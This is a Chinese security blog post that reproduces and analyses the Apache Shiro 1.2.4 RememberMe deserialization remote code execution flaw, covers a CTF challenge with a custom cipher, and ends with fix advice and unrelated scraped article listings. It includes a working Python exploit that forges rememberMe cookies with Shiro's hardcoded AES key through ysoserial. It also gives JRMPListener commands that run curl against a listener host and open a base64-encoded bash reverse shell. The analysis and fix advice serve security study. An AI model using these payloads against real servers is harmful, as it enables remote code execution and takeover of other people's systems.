本文首发于先知:

https://xz.aliyun.com/t/6493

0x01.漏洞复现

环境配置

https://github.com/Medicean/VulApps/tree/master/s/shiro/1

测试

需要一个vps ip提供rmi注册表服务,此时需要监听vps的1099端口,复现中以本机当作vps使用

poc:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

此时在vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' //command可以任意指定

此时执行poc可以生成rememberMe的cookie:

此时burp发送payload即可,此时因为poc是curl,因此监听vps的2345端口:

此时发送payload即可触发反序列化达到rce的效果

如果要反弹shell,此时vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'

其中反弹shell执行的命令通过base64编码一次

http://www.jackson-t.ca/runtime-exec-payloads.html

上面的地址可以将bash命令进行base64编码
此时vps监听2345端口,并且生成新的payload进行rememberMe的cookie替换

此时就能够收到shell了

0x02.漏洞分析

这里使用idea来运行环境,直接import maven项目即可,另外要配置一下pom.xml中的以下两项依赖,否则无法识别jsp标签

生成cookie的过程

shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。而其中对rememberme的cookie做了加密处理,漏洞主要原因是加密的AES密钥是硬编码在文件中的,那么对于AES加密算法我们已知密钥,并且IV为cookie进行base64解码后的前16个字节,因此我们可以构造任意的可控序列化payload

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,当我们成功登录时,如果勾选了rememberme选项,那么此时将进入onSuccessfulLogin方法

接下来将会对登录的认证信息进行序列化并进行加密,其中PrincipalCollection类的实例对象存储着登录的身份信息,而encrypt方法所使用的加密方式正是AES,并且为CBC模式,填充方式为PKCS5

其中ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());这里调用的正是AES的encrypt方法,具体的实现在org/apache/shiro/crypto/JcaCipherService.java文件中,其实现了CiperService接口,并具体定义了加密的逻辑

在encrypt方法中,就是shiro框架自带的加密流程,可以看到此时将iv放在crtpt()加密的数据之前然后返回

加密结束后,将在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

解析cookie的过程

此时将在org/apache/shiro/web/mgt/CookieRememberMeManager.java中将传递的base64字符串进行解码后放到字节数组中,因为java的序列化字符串即为字节数组

byte[] decoded = Base64.decode(base64);

此后将调用org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberedPrincipals()方法来从cookie中获取身份信息

此时可以看到将cookie中解码的字节数组进行解密,并随后进行反序列化

其中decrypt方法中就使用了之前硬编码的加密密钥,通过getDecryptionCipherKey()方法获取

而我们实际上可以看到其构造方法中实际上定义的加密和解密密钥都是硬编码的密钥

即为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),得到解密的密钥以后将在org/apache/shiro/crypto/JcaCipherService.java的decrypt()方法中进行解密,此时从cookie中取出iv与加密的序列化数据

并在decrypt方法中调用调用crypt方法利用密文,key,iv进行解密

解密完成后将返回到org/apache/shiro/mgt/AbstractRememberMeManager.java的convertBytesToPrincipals()方法中,此时deserialize(bytes)将对解密的字节数组进行反序列化,而这里的序列化的类是使用DefaultSerialize,即

this.serializer = new DefaultSerializer<PrincipalCollection>();

此时将调用deserialize()方法来进行反序列化,在此方法中我们就可以看到熟悉的readObject(),从而触发反序列化

Ogeek线下java-shiro

这道题中cookie的加密方式实际上不是默认的AES。因为从之前shiro加解密的过程我们已经知道org/apache/shiro/crypto/CipherService.java是个接口,并且在shiro默认的认证过程中,将会通过在shiro加密序列化字节数组时,将会通过getCiperService()方法返回所需要的加密方式,而默认情况下是AES加密

那么实际上我们也可以定义自己的加密逻辑,这道题目便是自己实现了CiperService接口并自己实现了一个简单的加密和解密的流程
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class:

package com.collection.shiro.crypto;

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import javax.servlet.http.HttpServletRequest;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.util.ByteSource.Util;
import org.apache.shiro.web.util.WebUtils;
import org.json.JSONObject; public class ShiroCipherService implements CipherService {
public ShiroCipherService() {
} public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
String skey = (new Sha1Hash(new String(key))).toString();
byte[] bkey = skey.getBytes();
byte[] data_bytes = new byte[ciphertext.length]; for(int i = 0; i < ciphertext.length; ++i) {
data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
} byte[] jsonData = new byte[ciphertext.length / 2]; for(int i = 0; i < jsonData.length; ++i) {
jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
} JSONObject jsonObject = new JSONObject(new String(jsonData));
String serial = (String)jsonObject.get("serialize_data");
return Util.bytes(Base64.getDecoder().decode(serial));
} public void decrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
} public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
Subject subject = SecurityUtils.getSubject();
HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
String user_agent = servletRequest.getHeader("User-Agent");
String ip_address = servletRequest.getHeader("X-Forwarded-For");
ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
byte[] data_bytes = data.getBytes();
byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
byte[] out = new byte[2 * data_bytes.length]; for(int i = 0; i < data_bytes.length; ++i) {
out[i * 2] = mkey[i % mkey.length];
out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
} byte[] result = new byte[out.length]; for(int i = 0; i < out.length; ++i) {
result[i] = (byte)(out[i] ^ okey[i % okey.length]);
} return Util.bytes(result);
} public void encrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
}
}

这里加密的解密的逻辑都有,并且此时encrypt的加密实际上是针对json字符串进行的,解密时也会对json字符串进行同样解密算法,并取其中serialize_data字段的内容进行base64解码以后进行返回,因此我们只要结合ysoserial.jar将生成的payload进行base64编码,并且与放入serialize_data字段中,并且调用此加密逻辑对json字符串进行加密并进行base64编码即可获得rememberme的cookie值,当传送给服务器端后,也将先进行base64解码,然后调用decrypt进行解密,得到json字符串后再将我们放入serialize_data字段中的payload进行反序列化。这里实现的加密也是对称加密,并且通过以下的文件可以看到加解密均是读取服务器上remember.key文件来获取,因此也是硬编码的,因此只要知道该密钥,并且已知加密的逻辑,就可以控制cookie值,来进行反序列化,由下面的逻辑也可以看出初始情况下此密钥为32位
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class:

package com.collection.shiro.manager;

import com.collection.shiro.crypto.ShiroCipherService;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.InputStream;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.web.mgt.CookieRememberMeManager; public class ShiroRememberManager extends CookieRememberMeManager {
private CipherService cipherService = new ShiroCipherService(); public ShiroRememberManager() {
} public CipherService getCipherService() {
return this.cipherService;
} public byte[] getEncryptionCipherKey() {
return this.getKeyFromConfig();
} public byte[] getDecryptionCipherKey() {
return this.getKeyFromConfig();
} private byte[] getKeyFromConfig() {
try {
InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
String key = "";
if (fileInputStream != null && fileInputStream.available() >= 32) {
byte[] bytes = new byte[fileInputStream.available()];
fileInputStream.read(bytes);
key = new String(bytes);
fileInputStream.close();
} else {
BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
writer.write(key);
writer.close();
} key = (new Md5Hash(key)).toString();
return key.getBytes();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
}
}

0x03.漏洞修复

1.对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥
2.若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

参考

https://www.cnblogs.com/loong-hon/p/10619616.html
https://www.cnblogs.com/maofa/p/6407102.html
https://cloud.tencent.com/developer/article/1472310

Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析的更多相关文章

  1. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  4. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  5. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  6. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

  7. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  9. 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

    Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...

随机推荐

  1. RMQ((Range Minimum/Maximum Query))ST算法

    给定一个数组,求出给定区间[l,r]中元素的最大值或最小值或者最值的索引. 一看到这个题目,简单,看我暴力出奇迹.暴力当然是可行的.但是时间复杂度很高(O(n^2)).线段树,树状数组也可以解决这个问 ...

  2. c#重写了窗体的OnKeyDown事件,但是不执行

    设置下窗体的KeyPreview属性值为True即可 总结:遇到类似这样的问题,比如其他窗体运行没问题,就新建的窗体有问题.应该检查下窗体的属性.

  3. MyBatis-Spring 学习笔记一 SqlSessionFactoryBean以及映射器类

    MyBatis-Spring 是一个用来整合 MyBatis 和 Spring 框架的小类库,通过这个jar包可以将 MyBatis 代码地整合到 Spring 中. 使用这个类库中的类, Sprin ...

  4. Viewer.js的inline模式

    开始 前几天接到一个小的支持,要做一个有图像预览和操作功能的demo,并且给出了参照的模板.刚开始简单的看了一下给的模板,一个是boxImg.js,另一个是Viewer.js. 问题 其实图片预览的插 ...

  5. 用pythoninstall cefpython打包exe,制作自己的浏览器

    cefpython浏览器 介绍 用pythoninstall cefpython打包exe,制作自己的浏览器, 软件架构 PyInstaller: 3.4 Python: 3.5.4 Platform ...

  6. coding++ :MySQL函数——FIND_IN_SET()

    语法:FIND_IN_SET(str,strlist) 定义: 1). 假如字符串 str 在由N子链组成的字符串列表 strlist 中,则返回值的范围在1到N之间. 2). 一个字符串列表就是一个 ...

  7. git切换账号邮箱

    git config user.name 查看当前用户名 git config user.email 查看当前邮箱 git config --global user.name "用户名&qu ...

  8. SNMP OID列表

    zabbix的snmp监控还没开始讲,不过先给大家列一些snmp常用的一些OID,比如cpu.内存.硬盘什么的.先了解这些,在使用snmp监控服务器. 系统参数(1.3.6.1.2.1.1) OID ...

  9. C#当中使用async和await

    最近在写程序的时候,经常遇到大量需要异步访问的情况,但是对于async和await到底怎么写,还不是非常明确.于是参考<C#图解教程>了异步编程一节. 1.普通的程序怎么写? class ...

  10. Springboot项目启动报org.springframework.beans.factory.UnsatisfiedDependencyException

    org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'hom ...